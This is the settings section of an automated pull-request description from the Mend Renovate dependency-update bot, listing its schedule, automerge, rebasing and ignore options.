📅 Schedule: (UTC)
- Branch creation
- ""
- Automerge
- At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.